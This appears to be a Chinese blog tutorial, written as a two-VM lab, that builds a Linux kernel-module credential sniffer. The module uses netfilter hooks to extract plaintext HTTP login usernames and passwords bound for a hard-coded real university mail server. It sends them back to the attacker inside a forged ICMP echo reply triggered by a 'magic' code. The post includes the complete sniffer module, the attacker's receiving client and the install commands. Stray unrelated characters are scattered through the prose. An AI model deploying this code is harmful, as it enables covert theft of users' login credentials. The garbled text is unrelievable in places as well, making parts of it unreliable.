基于netfilter和LKM實(shí)現(xiàn)http明文登錄的密碼竊取

一吕嘀、實(shí)驗(yàn)介紹及環(huán)境說(shuō)明


主機(jī) ip 內(nèi)核版本
虛擬機(jī)A(攻擊者主機(jī)) 192.168.8.103 Linux 4.15.0-106-generic
虛擬機(jī)B(被攻擊者主機(jī)) 192.168.8.104 Linux 4.15.0-106-generic

實(shí)驗(yàn)流程:在虛擬機(jī)B上使用LVM把攻擊代碼插入內(nèi)核模塊堕阔,然后使用虛擬機(jī)A向虛擬機(jī)B發(fā)送自己構(gòu)建的帶有Magic number的ICMP報(bào)文红柱,當(dāng)虛擬機(jī)B使用HTTP的方式登錄某個(gè)網(wǎng)站時(shí)祝高,虛擬機(jī)A就會(huì)拿到明文的用戶名及密碼咖祭。

二缆镣、基礎(chǔ)知識(shí)


2.1 LKM介紹

攻擊Linux的最高技術(shù)之一就是使用內(nèi)核代碼踊兜。這種內(nèi)核代碼可據(jù)其特性稱為可加載內(nèi)核模塊(Loadable Kernel Module兽掰,LKM)芭碍,是一段運(yùn)行在內(nèi)核空間的代碼,可以訪問(wèn)操作系統(tǒng)最核心的部分孽尽。

LKM是Linux內(nèi)核為了擴(kuò)展其功能所使用的可加載內(nèi)核模塊窖壕。LKM的優(yōu)點(diǎn)是動(dòng)態(tài)加載,在不重編譯內(nèi)核和重啟系統(tǒng)的條件下對(duì)類Unix系統(tǒng)的系統(tǒng)內(nèi)核進(jìn)行修改和擴(kuò)展杉女。否則的話瞻讽,對(duì)Kernel代碼的任何修改,都需要重新編譯Kernel熏挎,大大浪費(fèi)了時(shí)間和效率速勇。大多數(shù)的Unix派生系統(tǒng),包括Linux、BSD婆瓜、OSX等都支持這個(gè)特性快集」备幔基于此特性,LKM常被用作特殊設(shè)備的驅(qū)動(dòng)程序(或文件系統(tǒng))个初,如聲卡的驅(qū)動(dòng)程序等等乖寒。

LKM 包含 entryexit 函數(shù),當(dāng)向內(nèi)核插入模塊時(shí)院溺,調(diào)用entry 函數(shù)楣嘁,從內(nèi)核刪除模塊時(shí)則調(diào)用 exit 函數(shù)。在 2.6 版本之后珍逸,可以任意命名這些函數(shù) entry 和 exit 函數(shù)逐虚,所以存在module_initmodule_exit宏,用于定義這些函數(shù)屬于哪種函數(shù)谆膳。LKM 還包含一組必要的宏和一組可選的宏叭爱,用于定義模塊的許可證、模塊的作者漱病、模塊的描述等等买雾。

編譯的話,LKM也和應(yīng)用層代碼使用的gcc或者g++不同杨帽,Kernel Module使用Makefile漓穿,kbuild。

Linus:“Talk is cheap. Show me the code”

下面看一下基于LKM實(shí)現(xiàn)的“hello world”注盈。代碼及命令如下:

/* hello.c */
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>

static int __init init_my_module(void) {
  printk(KERN_INFO "Hello, Kernel!\n");
  return 0;
}

static void __exit exit_my_module(void) {
  printk(KERN_INFO "Bye, Kernel!\n");
}

module_init(init_my_module);
module_exit(exit_my_module);
// 下面的為可選部分
MODULE_LICENSE("GPL");
MODULE_AUTHOR("TEST");
/* Makefile */
obj-m += hello.o
all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
        CONFIG_MODULE_SIG=n  // 注意加上這句晃危,不然報(bào)錯(cuò)
clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean                      
make
sudo insmod hello.ko
dmesg | tail     //查看這個(gè)hello kernel在內(nèi)核中的輸出

2.2 netfilter的介紹

Netfilter是從Linux 2.4開始引入內(nèi)核的一個(gè)子系統(tǒng),架構(gòu)就是在整個(gè)網(wǎng)絡(luò)流程的若干位置放置了一些檢測(cè)點(diǎn)(HOOK)老客,而在每個(gè)檢測(cè)點(diǎn)上登記了一些處理函數(shù)進(jìn)行處理(如包過(guò)濾僚饭,NAT等,以及可以是 用戶自定義的功能)

Netfilter與內(nèi)核協(xié)議棧

IP層的五個(gè)HOOK點(diǎn)的位置如下所示沿量,具體位置見這篇文章浪慌。

NF_IP_PRE_ROUTING:剛剛進(jìn)入網(wǎng)絡(luò)層的數(shù)據(jù)包通過(guò)此點(diǎn)(剛剛進(jìn)行完版本號(hào),校驗(yàn)和等檢測(cè))朴则, 目的地址轉(zhuǎn)換在此點(diǎn)進(jìn)行权纤;
NF_IP_LOCAL_IN:經(jīng)路由查找后,送往本機(jī)的通過(guò)此檢查點(diǎn)乌妒,INPUT包過(guò)濾在此點(diǎn)進(jìn)行汹想;
NF_IP_FORWARD:要轉(zhuǎn)發(fā)的包通過(guò)此檢測(cè)點(diǎn),F(xiàn)ORWORD包過(guò)濾在此點(diǎn)進(jìn)行撤蚊;
NF_IP_POST_ROUTING:所有馬上便要通過(guò)網(wǎng)絡(luò)設(shè)備出去的包通過(guò)此檢測(cè)點(diǎn)古掏,內(nèi)置的源地址轉(zhuǎn)換功能(包括地址偽裝)在此點(diǎn)進(jìn)行;
NF_IP_LOCAL_OUT:本機(jī)進(jìn)程發(fā)出的包通過(guò)此檢測(cè)點(diǎn)侦啸,OUTPUT包過(guò)濾在此點(diǎn)進(jìn)行槽唾。
HOOK位置

NF_IP_PRE_ROUTING 這個(gè)HOOK是數(shù)據(jù)包被接收到之后調(diào)用的第一個(gè)HOOK丧枪,這個(gè)HOOK既是稍后將要描述的模塊所用到的。當(dāng)然庞萍,其它的HOOK同樣非常有用拧烦,但是在這里,我們的焦點(diǎn)是在 NF_IP_PRE_ROUTING 這個(gè)HOOK上钝计。在hook函數(shù)完成了對(duì)數(shù)據(jù)包所需的任何的操作之后恋博,它們必須返回下列預(yù)定義的Netfilter返回值中的一個(gè):

/* Netfilter返回值 */
    返回值                  含義
NF_DROP                 丟棄該數(shù)據(jù)包
NF_ACCEPT               保留該數(shù)據(jù)包
NF_STOLEN               忘掉該數(shù)據(jù)包
NF_QUEUE                將該數(shù)據(jù)包插入到用戶空間
NF_REPEAT               再次調(diào)用該hook函數(shù)
  • NF_DROP返回碼意味著應(yīng)該完全刪除此數(shù)據(jù)包并且應(yīng)該釋放為其分配的任何資源。

  • NF_ACCEPT告訴Netfilter到目前為止數(shù)據(jù)包仍然可以接受并且它應(yīng)該移動(dòng)到Network堆棧的下一階段私恬。

  • NF_STOLEN很有趣的债沮,因?yàn)樗嬖VNetfilter “忘記” 數(shù)據(jù)包。這告訴Netfilter本鸣,鉤子函數(shù)將從這里處理這個(gè)數(shù)據(jù)包疫衩,Netfilter應(yīng)該放棄它的所有處理。但是荣德,這并不意味著數(shù)據(jù)包的資源被釋放隧土。數(shù)據(jù)包及其鉤子的sk_buff結(jié)構(gòu)仍然有效,只是鉤子函數(shù)已經(jīng)從Netfilter獲得了數(shù)據(jù)包的所有權(quán)

  • NF_QUEUE將數(shù)據(jù)包排入隊(duì)列命爬,通常是將數(shù)據(jù)包發(fā)送給用戶進(jìn)程空間處理

  • NF_REPEAT請(qǐng)求Netfilter再次調(diào)用hook函數(shù)。顯然辐脖,必須小心使用NF_REPEAT以避免無(wú)限循環(huán)饲宛。

2.3 sk_buff數(shù)據(jù)結(jié)構(gòu)簡(jiǎn)介

socket buffers,簡(jiǎn)稱skb嗜价,中文名字叫套接字緩存艇抠。它作為網(wǎng)絡(luò)數(shù)據(jù)包的存放地點(diǎn),使得協(xié)議棧中每個(gè)層都可以對(duì)數(shù)據(jù)進(jìn)行操作久锥,從而實(shí)現(xiàn)了數(shù)據(jù)包自底向上的傳遞家淤。該結(jié)構(gòu)維護(hù)收到的或者要發(fā)送的網(wǎng)絡(luò)包。sk_buff是一個(gè)雙向鏈表瑟由。在較新的內(nèi)核版本上絮重,sk_buff中已經(jīng)沒有了list成員。


sk_buff雙向鏈表

sk_buff說(shuō)明了如何訪問(wèn)存儲(chǔ)區(qū)空間歹苦,如何維護(hù)多個(gè)存儲(chǔ)區(qū)空間以及存儲(chǔ)網(wǎng)絡(luò)包解析的結(jié)果青伤。內(nèi)核中sk_buff結(jié)構(gòu)體在各層協(xié)議之間傳輸不是用拷貝sk_buff結(jié)構(gòu)體,而是通過(guò)增加協(xié)議頭和移動(dòng)指針來(lái)操作的殴瘦。如果是從L4傳輸?shù)絃2狠角,則是通過(guò)往sk_buff結(jié)構(gòu)體中增加該層協(xié)議頭來(lái)操作;如果是從L4到L2蚪腋,則是通過(guò)移動(dòng)sk_buff結(jié)構(gòu)體中的data指針來(lái)實(shí)現(xiàn)丰歌,不會(huì)刪除各層協(xié)議頭姨蟋。

sk_buff是一個(gè)很復(fù)雜的數(shù)據(jù)結(jié)構(gòu),只看和我們的操作比較相關(guān)的一部分:

 __be16            protocol;
    /* 傳輸層頭部相對(duì)于head的偏移 */
    __u16            transport_header;
    /* 網(wǎng)絡(luò)層頭部相對(duì)于head的偏移 */
    __u16            network_header;
    /* 鏈路層頭部相對(duì)于head的偏移 */
    __u16            mac_header;
 
    /* private: */
    __u32            headers_end[0];
    /* public: */
 
    /* These elements must be at the end, see alloc_skb() for details.  */
    /* 實(shí)際數(shù)據(jù)的尾部 */
    sk_buff_data_t        tail;
    /* 緩沖區(qū)的尾部 */
    sk_buff_data_t        end;
    /* 緩沖區(qū)的頭部 */
    unsigned char        *head,
    /* 實(shí)際數(shù)據(jù)的頭部 */
                *data;
    /*
        緩沖區(qū)的總大小立帖,包括skb本身和實(shí)際數(shù)據(jù)len大小眼溶,alloc_skb函數(shù)將
        該字段設(shè)置為len+sizeof(sk_buff)
        每當(dāng)len值更新,該值也要對(duì)應(yīng)更新
    */
    unsigned int        truesize;
    
    /* 
        引用計(jì)數(shù)厘惦,在使用該skb緩沖區(qū)的實(shí)例個(gè)數(shù)偷仿,當(dāng)引用計(jì)數(shù)為0時(shí),skb才能被釋放
        skb_get()獲取操作中會(huì)增加引用計(jì)數(shù)宵蕉,kfree_skb釋放過(guò)程中檢查引用計(jì)數(shù)酝静,
        引用計(jì)數(shù)為0時(shí),才真正釋放skb
        該計(jì)數(shù)器只計(jì)算sk_buff結(jié)構(gòu)引用計(jì)數(shù)羡玛,緩沖區(qū)包含的實(shí)際數(shù)據(jù)由
        skb_shared_info->dataref字段記錄
    */
    atomic_t        users;
};

因?yàn)閿?shù)據(jù)區(qū)在協(xié)議棧走的時(shí)候要一層層添加或去掉一些數(shù)據(jù)(比如報(bào)頭)所以申請(qǐng)一塊大的足夠的內(nèi)存别智,然后在往里放東西。真實(shí)的實(shí)際數(shù)據(jù)可能用不了這么多稼稿,所以用data,tail指向真實(shí)的薄榛,head,tail指向邊界。剛開始沒填充數(shù)據(jù)時(shí)前三個(gè)指針指向的是一個(gè)地方:

下面列出了一些常用語(yǔ)操作sk_buff的方法:

/* 獲得TCP頭部的起始位置 */
static inline unsigned char *skb_transport_header(const struct sk_buff *skb){
        return skb->head + skb->transport_header;
}
/* 獲得IP頭部的起始位置 */
static inline unsigned char *skb_network_header(const struct sk_buff *skb){
        return skb->head + skb->network_header;
}
/* 獲得MAC層頭部的起始位置 */
static inline unsigned char *skb_mac_header(const struct sk_buff *skb){
        return skb->head + skb->mac_header;
}

三让歼、代碼實(shí)現(xiàn)及效果展示


3.1 網(wǎng)站分析

本次攻擊的網(wǎng)站就拿學(xué)校的郵箱系統(tǒng)來(lái)做實(shí)驗(yàn)敞恋。首先,要搞清楚網(wǎng)頁(yè)提交密碼的格式谋右,然后才好使用netfilter對(duì)密碼對(duì)數(shù)據(jù)包進(jìn)行用戶名和密碼的提取硬猫。打開網(wǎng)站隨便輸入一個(gè)用戶名和密碼,使用wireshark抓包分析如下:

http://mail.ustc.edu.cn/

根據(jù)ip過(guò)濾掉無(wú)用報(bào)文改执,找到POST報(bào)文展開
報(bào)文的一些關(guān)鍵信息

表單信息

需要獲得的關(guān)鍵信息:

  • ip地址:202.38.64.8
  • 表單中用戶名的key:uid
  • 表單中密碼的key:password
  • TCP data中啸蜜,用于定位用戶名和密碼的flag:比如下面的實(shí)現(xiàn)中,使用的是Upgrade-Insecure-Requests

3.2 代碼詳解

代碼和Phrack Magazine網(wǎng)站給的FTP密碼嗅探器示例差不多辈挂,上篇文章有對(duì)基于內(nèi)核的FTP密碼嗅探器的源碼分析衬横,感興趣可以看一下。本次實(shí)驗(yàn)的代碼及其詳解如下:

/* 編譯內(nèi)核模塊所需的Makefile */
obj-m += sniffer.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
        CONFIG_MODULE_SIG=n 
clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean                                                                       
/*
 * @Author: fxding2019@gmail.com
 * @Date: 2020-06-17 17:53:08
 * @LastEditTime: 2020-06-17 17:55:38
 * @LastEditors: fxding2019@gmail.com
 * @Description: 內(nèi)核嗅探模塊 sniffer.c
 */ 

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

#define MAGIC_CODE 0x5B // ICMP CODE
#define REPLY_SIZE 36   // tartget_ip(4B) + 預(yù)留username(16B) + 預(yù)留password(16B)

#define SUCCESS  1
#define FAILURE -1

/* 
 * 這個(gè)是寫死的终蒂,因?yàn)閷?duì)不同服務(wù)器密碼嗅探時(shí)蜂林,字符解析稍有不同,不具有普遍適用性
 */ 
static const unsigned int target_ip = 138421962 ; // email.ustc.edu.cn

static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0;

/* Used to describe our Netfilter hooks */
static struct nf_hook_ops pre_hook;      /* Incoming */
static struct nf_hook_ops post_hook;    /* Outgoing */

/*從HTTP數(shù)據(jù)包中抓取 username, password */
static void check_http(struct sk_buff *skb) {

    struct iphdr *ip = NULL;
    struct tcphdr *tcp = NULL;
    char *data = NULL; // tcp data

    char *name;
    char *passwd;
    char *token_and;
    char *flag;
    int len,i;

    /* ip:得到的ip數(shù)據(jù)包
     * tcp:得到的tcp數(shù)據(jù)包
     * data:把指針移動(dòng)到tcp有效載荷
    */
    ip = (struct iphdr *)skb_network_header(skb);
    tcp = (struct tcphdr *)skb_transport_header(skb);
    data = (char *)tcp + (tcp->doff<<2);

    // 用戶名和密碼的value都不為空
    if (strstr(data, "uid") != NULL && strstr(data, "password") != NULL) {
        // 查找data中出現(xiàn)Connection的位置
        flag = strstr(data,"Upgrade-Insecure-Requests");
        // 在locale_flag后查找"uid="拇泣,找最后一次出現(xiàn)的位置
        name = strstr(flag,"uid=");
        // "uid="后面的"&"
        token_and = strstr(name,"&");
        // 跳過(guò)"uid="悉尾,指向?qū)嶋H值
        name += 4;
        // len是整個(gè)username值的長(zhǎng)度
        len = token_and - name;

        //kmalloc:分配內(nèi)核空間的內(nèi)存:len+2:要分配內(nèi)存的大小,GFP_KERNEL:要分配內(nèi)存的類型
        if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
            return;
        // 初始化內(nèi)存
        memset(username, 0x00, len + 2);

        // 把username值取出
        for (i = 0; i < len; ++i){
            *(username + i) = name[i];
        }
        // 末尾加上結(jié)束符
        *(username + len) = '\0';
        printk("username: %s\n", username);
        
        /* 同樣的方法操作獲得password */ 
        passwd = strstr(name,"password=");
        token_and = strstr(passwd,"&");
        passwd += 9;
        len = token_and - passwd;

        if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
            return;

        memset(password, 0x00, len + 2);
        for (i = 0; i < len; ++i){
            *(password + i) = passwd[i];
        }
        *(password + len) = '\0';
    }
    else{
        return ;
    }
    // 如果得到挫酿,就把標(biāo)志置1
    if (username && password)
        have_pair++;
}


/**
 * 在POST_ROUTING HOOK點(diǎn)處過(guò)濾數(shù)據(jù)包构眯,POST_ROUTING,將數(shù)據(jù)包發(fā)送出去的前一個(gè)HOOK點(diǎn)早龟;
 * 用于監(jiān)聽本機(jī)往外發(fā)送的數(shù)據(jù)包惫霸,并從中提取出所需的username猫缭,password
 */
static unsigned int watch_out(void *priv,
                              struct sk_buff *skb,
                              const struct nf_hook_state *state) {
    struct iphdr *ip = NULL;
    struct tcphdr *tcp = NULL;

    // 數(shù)據(jù)包過(guò)濾
    ip = (struct iphdr *)skb_network_header(skb);
    tcp = (struct tcphdr *)skb_transport_header(skb);

    // 把非TCP報(bào)文過(guò)濾和端口非80的放行
    if (tcp->dest != htons(80) || ip->protocol != IPPROTO_TCP)
        return NF_ACCEPT;                             

    // 如果還沒有拿到密碼,則對(duì)數(shù)據(jù)包進(jìn)行解析    
    if (!have_pair)
        check_http(skb);

    // 處理完放行
    return NF_ACCEPT;
}

/*
 * 在PRE_ROUTING HOOK點(diǎn)處過(guò)濾數(shù)據(jù)包壹店,把發(fā)來(lái)的代碼Magic number的ICMP數(shù)據(jù)報(bào)
 * 填上我們偷到的用戶名和密碼以及server IP后再讓其原路返回
*/
static unsigned int watch_in(void *priv,
                             struct sk_buff *skb,
                             const struct nf_hook_state *state) {
    struct iphdr *ip = NULL;
    struct icmphdr *icmp = NULL;
    int icmp_payload_len = 0;   // 相當(dāng)于竊取ftp代碼中的宏定義ICMP_PAYLOAD_SIZE
    char *cp_data = NULL;       /* Where we copy data to in reply */
    unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)

    // 得到ip數(shù)據(jù)包
    ip = (struct iphdr *)skb_network_header(skb);

    // 如果不是ICMP數(shù)據(jù)包 或者 已經(jīng)拿到用戶名和密碼了 ==> 放行
    if (!have_pair || ip->protocol != IPPROTO_ICMP)
        return NF_ACCEPT;

    // 得到icmp數(shù)據(jù)包
    icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2));

    // icmp_payload_len為icmp數(shù)據(jù)的有效載荷(出去icmp頭部8B)
    icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8;

    // 再次驗(yàn)證是不是MAGIC_CODE的icmp
    if (icmp->code != MAGIC_CODE
        || icmp->type != ICMP_ECHO
        || icmp_payload_len < REPLY_SIZE) {
        return NF_ACCEPT;
    }

    // 交換源猜丹、目的IP,往回發(fā)包
    temp_ipaddr = ip->saddr;
    ip->saddr = ip->daddr;
    ip->daddr = temp_ipaddr;

    //表明數(shù)據(jù)包是向外發(fā)的
    skb->pkt_type = PACKET_OUTGOING;

    //確定這個(gè)數(shù)據(jù)包來(lái)自的什么類型的接口
    switch (skb->dev->type) {
        case ARPHRD_PPP: break;     /* No fiddling needs doing */
        case ARPHRD_LOOPBACK:   
        case ARPHRD_ETHER: {
            unsigned char temp_hwaddr[ETH_ALEN];
            struct ethhdr *eth = NULL;

            /* 移動(dòng)數(shù)據(jù)指針指向鏈接層頭硅卢,改變鏈路頭的h_dest和 h_source*/
            eth = (struct ethhdr *)eth_hdr(skb);
            skb->data = (unsigned char*)eth;
            skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet);
            memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
            memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
            memcpy(eth->h_source, temp_hwaddr, ETH_ALEN);
            break;
        }
    }

     /* 復(fù)制IP地址射窒,然后用戶名,然后密碼到數(shù)據(jù)包中 */
    cp_data = (char *)icmp + 8;
    memcpy(cp_data, &target_ip, 4);     // target_ip四個(gè)字節(jié)
    memcpy(cp_data+4, username, 16);    // username預(yù)留16字節(jié)
    memcpy(cp_data+20, password, 16);   // password預(yù)留16字節(jié)

     // 發(fā)送數(shù)據(jù)幀
    dev_queue_xmit(skb);

    /* 釋放保存的用戶名和密碼并重置have_pair */
    kfree(username);
    kfree(password);
    username = password = NULL;
    have_pair = 0;
    return NF_STOLEN;
}
/* 注冊(cè)模塊 */
int init_module(void) {
    pre_hook.hook = watch_in;                    //回調(diào)函數(shù)為watch_in
    pre_hook.pf = PF_INET;                      //協(xié)議類型:PF_INET将塑,面向IP層的原始套接字
    pre_hook.hooknum = NF_INET_PRE_ROUTING;     //關(guān)鍵點(diǎn):對(duì)netfilter的PRE_ROUTING位置操作脉顿,鉤子調(diào)用的函數(shù)
    pre_hook.priority = NF_IP_PRI_FIRST;       //優(yōu)先級(jí)

    /* 分析如上 */ 
    post_hook.hook = watch_out;
    post_hook.pf = PF_INET;
    post_hook.hooknum = NF_INET_POST_ROUTING;    //關(guān)鍵點(diǎn):對(duì)netfilter的POST_ROUTING位置操作,鉤子調(diào)用的函數(shù)
    post_hook.priority = NF_IP_PRI_FIRST;      


    nf_register_net_hook(&init_net, &pre_hook);
    nf_register_net_hook(&init_net, &post_hook);
    printk("hello sniffer\n");  
    return 0;
}

/* 注銷模塊 */
void cleanup_module(void) {
    nf_unregister_net_hook(&init_net, &pre_hook);
    nf_unregister_net_hook(&init_net, &post_hook);
    printk("sniffer clean\n");
    //注銷模塊時(shí)釋放內(nèi)存
    if (password)
        kfree(password);
    if (username)
        kfree(username);
}
/*
 * @Author: fxding2019@gmail.com
 * @Date: 2020-06-17 17:53:08
 * @LastEditTime: 2020-06-17 17:56:26
 * @LastEditors: fxding2019@gmail.com
 * @Description: 攻擊者模塊 getpass.c
 */ 
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/ip_icmp.h>
#include<linux/if_ether.h>
#include<arpa/inet.h>

#define BUFF_SIZE  256
#define SUCCESS    1
#define FAILURE    -1
#define MAGIC_CODE 0x5B // ICMP ECHO CODE

struct sockaddr_in remoteip;
struct in_addr server_addr;
int recvsockfd = -1;
int sendsockfd = -1;
unsigned char recvbuff[BUFF_SIZE];
unsigned char sendbuff[BUFF_SIZE];

/* 函數(shù)聲明 */
unsigned short cksum(unsigned short *, int len);
int send_icmp_request();
int recv_icmp_reply();



int main(int argc, char **argv) {
    if (argc != 2 || inet_aton(argv[1], &remoteip.sin_addr) == 0){
         fprintf(stderr, "Usage:  %s  remoteIP\n", argv[0]);
         return 0;
         
    }
    recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (recvsockfd < 0 || sendsockfd < 0) {
        perror("socket creation error");
        return FAILURE;
    }
    
    // 先發(fā)生再接收点寥,這里也可以使用一個(gè)套接字艾疟,下面方法是使用兩個(gè)不同的
    send_icmp_request();
    recv_icmp_reply();
    close(sendsockfd);
    close(recvsockfd);

    return 0;
}

/*發(fā)送ICMP回送請(qǐng)求報(bào)文 */
int send_icmp_request() {
    bzero(sendbuff, BUFF_SIZE);
    // 構(gòu)造ICMP ECHO首部
    struct icmp *icmp = (struct icmp *)sendbuff;
    icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8
    icmp->icmp_code = MAGIC_CODE;  // key point
    icmp->icmp_cksum = 0;
    // 計(jì)算ICMP校驗(yàn)和,涉及首部和數(shù)據(jù)部分敢辩,包括:8B(ICMP ECHO首部) + 36B(4B(target_ip)+16B(username)+16B(password))
    icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);

    printf("sending request........\n");
    int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));
    if (ret < 0) {
        perror("send error");
    } else {
        printf("send a icmp echo request packet!\n\n");
    }
    return SUCCESS;
}

/* 接收ICMP回送回答報(bào)文 */
int recv_icmp_reply() {
    bzero(recvbuff, BUFF_SIZE);
    printf("waiting for reply......\n");
    if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) {
        printf("failed getting reply packet\n");
        return FAILURE;
    }

    // 跳過(guò)ip頭部蔽莱,得到icmp報(bào)文
    struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20);
    // 跳過(guò)icmp頭部,copy 4個(gè)字節(jié)的server_addr
    memcpy(&server_addr, (char *)icmp+8, 4);
    
    printf("Stolen from http server: %s\n", inet_ntoa(server_addr));
    printf("Username: %s\n", (char *)((char *)icmp + 12));
    printf("Password: %s\n", (char *)((char *)icmp + 28));
    return SUCCESS;
}

/* 計(jì)算校驗(yàn)和 */
unsigned short cksum(unsigned short *addr, int len) {
    int sum = 0;
    unsigned short res = 0;
    /* len -= 2戚长,因?yàn)?sizeof(unsigned short) = 2;
     * sum += *(addr++)盗冷,每次偏移2Byte
     */
    for (; len > 1; sum += *(addr++), len -= 2);
    // 每次處理2Byte,可能會(huì)存在多余的1Byte
    sum += len == 1 ? *addr : 0;
    // sum:高16位 + 低16位同廉,高16位中存在可能的進(jìn)位
    sum = (sum >> 16) + (sum & 0xffff);
    // sum + sum的高16位正塌,高16位中存在可能的進(jìn)位
    sum += (sum >> 16);
    // 經(jīng)過(guò)2次對(duì)高16位中可能存在的進(jìn)位進(jìn)行處理,即可確保sum高16位中再無(wú)進(jìn)位
    res = ~sum;
    return res;
}

代碼關(guān)鍵點(diǎn)解析:

  • HOOK點(diǎn):為什么要在PRE_ROUTING和POST_ROUTING放鉤子呢恤溶,通過(guò)上面HOOK位置一圖可以看出,PRE_ROUTING是數(shù)據(jù)包的入口點(diǎn)帜羊,POST_ROUTING是數(shù)據(jù)包的出口點(diǎn)咒程。主機(jī)需要給服務(wù)器POST數(shù)據(jù),所以在出口點(diǎn)過(guò)濾數(shù)據(jù)包讼育,拿到用戶名和密碼帐姻。入口點(diǎn)過(guò)濾Magic number ICMP報(bào)文,然后把拿到的用戶名和密碼嵌入后再轉(zhuǎn)發(fā)出去

  • IP地址:實(shí)驗(yàn)代碼直接把IP地址寫死了奶段,畢竟數(shù)據(jù)包分析用戶名和密碼時(shí)也不具有普遍適用性饥瓷。這點(diǎn)和FTP密碼竊取稍有不同。IP地址使用的是十進(jìn)制表示痹籍。

  • 在data中匹配用戶名和密碼:


    由上圖可以看出呢铆,uid等多次出現(xiàn),真正的uid和passwod是出現(xiàn)在tcp data的最后面的蹲缠。上面代碼使用的方式是找到一個(gè)離真實(shí)uid最近的棺克,具有唯一性的一個(gè)flag:Upgrade-Insecure-Requests悠垛。然后再進(jìn)行匹配。

  • kmalloc與memset:kmalloc申請(qǐng)的內(nèi)存位于物理內(nèi)存映射區(qū)域娜谊,而且在物理上也是連續(xù)的确买。另外,在用戶空間使用kmalloc會(huì)先打白條纱皆,真正分配的時(shí)候再產(chǎn)生缺頁(yè)異常再真正的分配湾趾;內(nèi)核空間使用kmalloc會(huì)直接分配內(nèi)存。memset來(lái)進(jìn)行內(nèi)存初始化

  • dev_queue_xmit:linux內(nèi)核太構(gòu)造數(shù)據(jù)包的第二種方式就是直接調(diào)用dev_queue_xmit函數(shù)派草,將構(gòu)造完畢的數(shù)據(jù)包直接發(fā)送到網(wǎng)卡驅(qū)動(dòng)搀缠。從NF框架來(lái)看,該函數(shù)的調(diào)用是在 POSTROUTING點(diǎn)之后了澳眷,也可以理解為直接通過(guò)調(diào)用二層的發(fā)送函數(shù)胡嘿,將三層構(gòu)造的數(shù)據(jù)包發(fā)送出去。該函數(shù)實(shí)際上會(huì)調(diào)用 skb->dev->hard_start_xmit钳踊,即對(duì)應(yīng)網(wǎng)卡的驅(qū)動(dòng)函數(shù)衷敌,將數(shù)據(jù)包直接發(fā)送的出去。

    該函數(shù)發(fā)送的內(nèi)容應(yīng)該是從二層頭部開始拓瞪,到數(shù)據(jù)包的結(jié)束缴罗。因此,如果三層構(gòu)造的數(shù)據(jù)包祭埂,想調(diào)用該函數(shù)直接發(fā)送數(shù)據(jù)包的話面氓,則需要修改數(shù)據(jù)包的源和目的MAC,并將skb->data指針指向MAC頭部蛆橡,以及skb->len的值也要加上頭部的長(zhǎng)度方法

  • watch_out / watch_in回調(diào)函數(shù)參數(shù):
    注冊(cè)鉤子函數(shù)是一個(gè)非常簡(jiǎn)單的過(guò)程舌界,主要就是Linux/netfilter.h中定義的nf_hook_ops結(jié)構(gòu)。該結(jié)構(gòu)的定義如下:

      struct nf_hook_ops {
          struct list_head list;
    
          /* User fills in from here down. */
          nf_hookfn *hook;
          int pf;
          int hooknum;
          /* Hooks are ordered in ascending priority. */
          int priority;
     };
    

    hook成員是一個(gè)指向nf_hookfn類型的函數(shù)的指針泰演,該函數(shù)是這個(gè)hook被調(diào)用時(shí)執(zhí)行的函數(shù)呻拌。在linux/v4.15/的/linux/netfilter.h中可以看到結(jié)構(gòu)體的定義已經(jīng)有所變化

    /linux/netfilter.h

  • 注冊(cè)和注銷模塊的函數(shù):之前的nf_register_hook以及nf_unregister_hook已經(jīng)在新版本的內(nèi)核中換掉了,查看
    linux/v4.15/source/include/linux/netfilter.h可以看到4.15內(nèi)核已經(jīng)換成nf_register_net_hook以及nf_unregister_net_hook睦焕,并且其還需要一個(gè)net*的參數(shù)藐握,這個(gè)參數(shù)是已經(jīng)定義好的值(init_net):

3.3 效果展示

首先把sniffer.c和Makefile放在同一目錄,接著在受害者主機(jī)上插入內(nèi)核模塊垃喊。執(zhí)行以下命令:

make
sudo insmod sniffer.ko
dmesg | tail  // 查看是否插入成功猾普,插入成功會(huì)有打印hello kernel
嵌入內(nèi)核模塊過(guò)程

然后受害者可以登錄郵箱系統(tǒng),攻擊者執(zhí)行程序就可以獲得用戶名和密碼:

sudo ./getpass 192.168.8.104
192.168.8.104填寫密碼和用戶名
192.168.8.103發(fā)動(dòng)攻擊

3.4 分析總結(jié)

可以看到本谜,與FTP嗅探器的主要不同點(diǎn)有:

  • watch_out和watch_in的參數(shù)有所變動(dòng)
  • 對(duì)數(shù)據(jù)包分析并提取密碼時(shí)有所不同
  • 獲得tcp和ip頭部可以使用函數(shù)skb_transport_header/ skb_network_header
  • 注冊(cè)/注銷內(nèi)核模塊函數(shù)有所變化(注意對(duì)比查看)

除了對(duì)密碼的提取初家,以上變動(dòng)主要原因就是內(nèi)核版本的變化。

參考文章:

最后編輯于
